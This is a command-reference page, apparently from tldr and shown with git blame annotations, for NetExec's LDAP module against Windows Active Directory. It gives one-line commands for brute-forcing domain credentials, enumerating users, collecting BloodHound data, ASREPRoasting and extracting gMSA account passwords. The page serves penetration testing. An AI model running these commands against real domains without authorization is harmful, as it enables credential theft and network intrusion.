2024-08-10 10:10:12 +02:00
|
|
|
# nxc ldap
|
|
|
|
|
|
|
|
> Pentest and exploit Windows Active Directory Domains via LDAP.
|
|
|
|
> More information: <https://www.netexec.wiki/ldap-protocol>.
|
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
- Search for valid domain credentials by trying out every combination in the specified lists of usernames and passwords:
|
2024-08-10 10:10:12 +02:00
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
`nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{path/to/usernames.txt}} {{[-p|--password]}} {{path/to/passwords.txt}}`
|
2024-08-10 10:10:12 +02:00
|
|
|
|
|
|
|
- Enumerate active domain users:
|
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
`nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --active-users`
|
2024-08-10 10:10:12 +02:00
|
|
|
|
|
|
|
- Collect data about the targeted domain and automatically import these data into BloodHound:
|
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
`nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --bloodhound {{[-c|--collection]}} {{All}}`
|
2024-08-10 10:10:12 +02:00
|
|
|
|
|
|
|
- Attempt to collect AS_REP messages for the specified user in order to perform an ASREPRoasting attack:
|
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
`nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} '' --asreproast {{path/to/output.txt}}`
|
2024-08-10 10:10:12 +02:00
|
|
|
|
|
|
|
- Attempt to extract the passwords of group managed service accounts on the domain:
|
|
|
|
|
2025-05-04 20:03:26 +03:00
|
|
|
`nxc ldap {{192.168.178.2}} {{[-u|--username]}} {{username}} {{[-p|--password]}} {{password}} --gmsa`
|